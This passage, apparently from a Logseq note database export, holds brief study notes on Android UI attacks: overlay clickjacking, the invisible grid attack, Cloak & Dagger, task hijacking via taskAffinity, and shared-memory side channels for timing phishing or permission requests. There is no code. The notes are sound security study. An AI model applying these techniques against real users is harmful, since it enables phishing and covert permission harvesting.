loop:logseq____&quot;,536875854]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875844]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^@logseq____&quot;,false,536875844]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^Flogseq____&quot;,694,536875844]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^Xlogseq____&quot;,689,536875844]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^Vlogseq____&quot;,691,536875844]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^Ulogseq____&quot;,689,536875845]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae431-a8a6-4ebd-8091-f1438cfdf60blogseq____&quot;,536875844]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Modify what the user seeslogseq____&quot;,536875861]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875854]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^@logseq____&quot;,false,536875854]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^Flogseq____&quot;,695,536875854]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^Xlogseq____&quot;,689,536875854]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^Vlogseq____&quot;,695,536875856]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^Ulogseq____&quot;,689,536875855]],[logseq____&quot;^15logseq____&quot;,[696,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae436-a550-43d7-86c7-6dc413654ea7logseq____&quot;,536875854]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Know what is currently displayedlogseq____&quot;,536875875]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875861]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^@logseq____&quot;,false,536875861]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^Flogseq____&quot;,696,536875861]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^Xlogseq____&quot;,689,536875861]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^Vlogseq____&quot;,695,536875861]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^Ulogseq____&quot;,689,536875862]],[logseq____&quot;^15logseq____&quot;,[697,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae43b-70bf-4060-8c17-72b2aba973c9logseq____&quot;,536875861]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;User input injectionlogseq____&quot;,536875879]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875875]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^@logseq____&quot;,false,536875875]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^Flogseq____&quot;,697,536875875]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^Xlogseq____&quot;,689,536875875]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^Vlogseq____&quot;,695,536875875]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^Ulogseq____&quot;,689,536875876]],[logseq____&quot;^15logseq____&quot;,[699,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae441-5eb8-4057-bbad-43e513a19260logseq____&quot;,536875875]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Know what the user inputs and whenlogseq____&quot;,536875883]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875879]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^@logseq____&quot;,false,536875879]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^Flogseq____&quot;,699,536875879]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^Xlogseq____&quot;,689,536875879]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^Vlogseq____&quot;,695,536875879]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^Ulogseq____&quot;,689,536875880]],[logseq____&quot;^15logseq____&quot;,[700,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae445-c275-4976-9f83-7df5e6e38642logseq____&quot;,536875879]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## UI Redressing / Clickjacking / Overlay Attackslogseq____&quot;,536875911]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875883]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^@logseq____&quot;,false,536875883]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Flogseq____&quot;,691,536875890]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Xlogseq____&quot;,689,536875883]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Vlogseq____&quot;,689,536875890]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Ulogseq____&quot;,689,536875884]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876194]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[701,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae44b-80dc-48fe-9bc3-3c354fe1794alogseq____&quot;,536875883]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536876172]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875896]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^@logseq____&quot;,false,536875896]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^Flogseq____&quot;,705,536876181]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^Xlogseq____&quot;,689,536875896]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^Vlogseq____&quot;,701,536876181]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^Ulogseq____&quot;,689,536876166]],[logseq____&quot;^15logseq____&quot;,[702,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae455-31cf-42ed-b86b-48a4494a0aa5logseq____&quot;,536875896]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Convince user to click on something while overlapping mutliple viewslogseq____&quot;,536875924]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875911]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^@logseq____&quot;,false,536875911]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^Flogseq____&quot;,701,536875911]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^Xlogseq____&quot;,689,536875911]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^Vlogseq____&quot;,701,536875911]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^Ulogseq____&quot;,689,536875912]],[logseq____&quot;^15logseq____&quot;,[703,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae46d-98ac-47e7-b6eb-562a1b83f0dflogseq____&quot;,536875911]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;User clicks on top view but event is not caught and, thus, passed to lower viewlogseq____&quot;,536875955]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875927]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^@logseq____&quot;,false,536875927]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^Flogseq____&quot;,703,536875927]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^Xlogseq____&quot;,689,536875927]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^Vlogseq____&quot;,701,536875927]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^Ulogseq____&quot;,689,536875928]],[logseq____&quot;^15logseq____&quot;,[704,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae4aa-b112-4898-beb5-6561b8ce7298logseq____&quot;,536875927]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android allows for creating Overlays with `SYSTEM_ALERT` permissionlogseq____&quot;,536875965]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875955]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^@logseq____&quot;,false,536875955]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^Flogseq____&quot;,704,536875955]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^Xlogseq____&quot;,689,536875955]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^Vlogseq____&quot;,701,536875955]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^Ulogseq____&quot;,689,536875956]],[logseq____&quot;^15logseq____&quot;,[705,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae4ce-23bf-48c1-8444-04f5dfcd829flogseq____&quot;,536875955]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`obscured` flag lets underlying application know that the window was obscuredlogseq____&quot;,536875996]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875965]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^@logseq____&quot;,false,536875965]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^Flogseq____&quot;,705,536875965]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^Xlogseq____&quot;,689,536875965]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^Vlogseq____&quot;,705,536875969]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^Ulogseq____&quot;,689,536875966]],[logseq____&quot;^15logseq____&quot;,[706,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae4d9-3660-4bb5-a422-7f48e1f92145logseq____&quot;,536875965]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`setFilterTouchesWhenObscured` as alternative optionlogseq____&quot;,536876018]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875996]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^@logseq____&quot;,false,536875996]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^Flogseq____&quot;,706,536876003]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^Xlogseq____&quot;,689,536875996]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^Vlogseq____&quot;,705,536876003]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^Ulogseq____&quot;,689,536875997]],[logseq____&quot;^15logseq____&quot;,[707,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae572-770d-4c12-94aa-5a81870759f8logseq____&quot;,536875996]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be mitigated via \\logseq____&quot;Context Hiding\\logseq____&quot; (overlay whole screen except some area)logseq____&quot;,536876046]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876018]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^@logseq____&quot;,false,536876018]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^Flogseq____&quot;,707,536876025]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^Xlogseq____&quot;,689,536876018]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^Vlogseq____&quot;,705,536876025]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^Ulogseq____&quot;,689,536876019]],[logseq____&quot;^15logseq____&quot;,[708,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae583-3a87-41e4-93ea-0784abb32b86logseq____&quot;,536876018]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Invisible Grid Attacklogseq____&quot;,536876066]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876049]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^@logseq____&quot;,false,536876049]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Flogseq____&quot;,708,536876068]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Xlogseq____&quot;,689,536876049]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Vlogseq____&quot;,705,536876068]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Ulogseq____&quot;,689,536876050]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876194]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[709,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae633-5187-440d-b59e-c28d4ca661c5logseq____&quot;,536876049]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Draw multiple partly overlapping overlayslogseq____&quot;,536876084]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876070]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^@logseq____&quot;,false,536876070]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^Flogseq____&quot;,709,536876070]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^Xlogseq____&quot;,689,536876070]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^Vlogseq____&quot;,709,536876070]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^Ulogseq____&quot;,689,536876071]],[logseq____&quot;^15logseq____&quot;,[710,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae63d-a091-4b75-8963-19766e592989logseq____&quot;,536876070]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Combinations of obscured overlays reveals actual clicked locationlogseq____&quot;,536876106]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876085]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^@logseq____&quot;,false,536876085]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^Flogseq____&quot;,710,536876085]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^Xlogseq____&quot;,689,536876085]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^Vlogseq____&quot;,709,536876085]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^Ulogseq____&quot;,689,536876086]],[logseq____&quot;^15logseq____&quot;,[711,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae649-1341-4709-83b3-5b49a3243d68logseq____&quot;,536876085]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Cloak logseq____&amp; Dagger](https://cloak-and-dagger.org) attacklogseq____&quot;,536876165]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876109]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^@logseq____&quot;,false,536876109]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^Flogseq____&quot;,711,536876129]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^Xlogseq____&quot;,689,536876109]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^Vlogseq____&quot;,709,536876129]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^Ulogseq____&quot;,689,536876110]],[logseq____&quot;^15logseq____&quot;,[712,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae69e-bddf-45c9-b77b-27b0f277e8eelogseq____&quot;,536876109]],[logseq____&quot;^15logseq____&quot;,[713,logseq____&quot;^12logseq____&quot;,2,536876185]],[logseq____&quot;^15logseq____&quot;,[714,logseq____&quot;^12logseq____&quot;,2,536876188]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`android:allowTaskReparenting`: Can move activity from task that started it to another tasklogseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Flogseq____&quot;,717,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Xlogseq____&quot;,28,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Vlogseq____&quot;,716,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Ulogseq____&quot;,2,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Ulogseq____&quot;,24,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^Ulogseq____&quot;,28,536876191]],[logseq____&quot;^15logseq____&quot;,[715,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-4fe3-4f03-a0be-855319764695logseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Activity Stacklogseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Flogseq____&quot;,362,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Xlogseq____&quot;,28,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Vlogseq____&quot;,90,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Ulogseq____&quot;,2,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Ulogseq____&quot;,24,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Ulogseq____&quot;,28,536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^Jlogseq____&quot;,[],536876191]],[logseq____&quot;^15logseq____&quot;,[716,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-845f-439c-a6da-dec115d1dd81logseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`android:taskAffinity`: defines affinity for an activity (can place activities defined in apps in same task)logseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Flogseq____&quot;,716,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Xlogseq____&quot;,28,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Vlogseq____&quot;,716,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Ulogseq____&quot;,2,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Ulogseq____&quot;,24,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^Ulogseq____&quot;,28,536876191]],[logseq____&quot;^15logseq____&quot;,[717,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-8d39-48bd-9cd0-1ff552437b3flogseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`startActivities` can simultaneously start multiple activities (only last one is shown)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^Flogseq____&quot;,722,536876194]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[718,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-3070-45d6-b9fe-06441aa61c2alogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Define attack activities (Phishing, permission harvesting etc.)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^Flogseq____&quot;,733,536876194]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^Vlogseq____&quot;,733,536876194]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^Ulogseq____&quot;,689,536876282]],[logseq____&quot;^15logseq____&quot;,[719,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-9a90-444b-949a-8f402e3bf34dlogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Simple stack that stores applications (LIFO)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^Flogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[720,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-2a89-4f15-8516-d8f6e376daa7logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Shared memory changes are correlated with Android window events (proportional to window size)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^Flogseq____&quot;,723,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^Vlogseq____&quot;,723,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[721,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-c54f-4033-9e09-413e32b2b2c1logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be configured in [[Application Manifest]] (`Intent.FLAG_ACTIVITY_NEW_TASK` can bring task to front of screen)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Flogseq____&quot;,724,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Ulogseq____&quot;,28,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^Hlogseq____&quot;,28,536876194]],[logseq____&quot;^15logseq____&quot;,[722,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-7fc0-4935-a28a-626e41573163logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Shared Memory as Side-Channellogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Flogseq____&quot;,701,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Vlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[723,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-d04e-4058-8eb6-3c07827bf34clogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Activities within a task can belong to different apps (Usually associated with initiating activity)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^Flogseq____&quot;,735,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[724,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-5594-4a5d-ad8c-a614b4705926logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permission requests can be shown despite app not visible (background app): App name only indicated in permission requestlogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^Flogseq____&quot;,721,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^Vlogseq____&quot;,723,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[725,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-9a89-4db6-9b4a-e9e00875cc7alogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Use SM side-channel to infer current App and ask for permissionslogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^Flogseq____&quot;,725,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^Vlogseq____&quot;,723,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[726,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-a1af-4eb5-bfc0-c066bceb7556logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Set `allowTaskReparenting` for attack 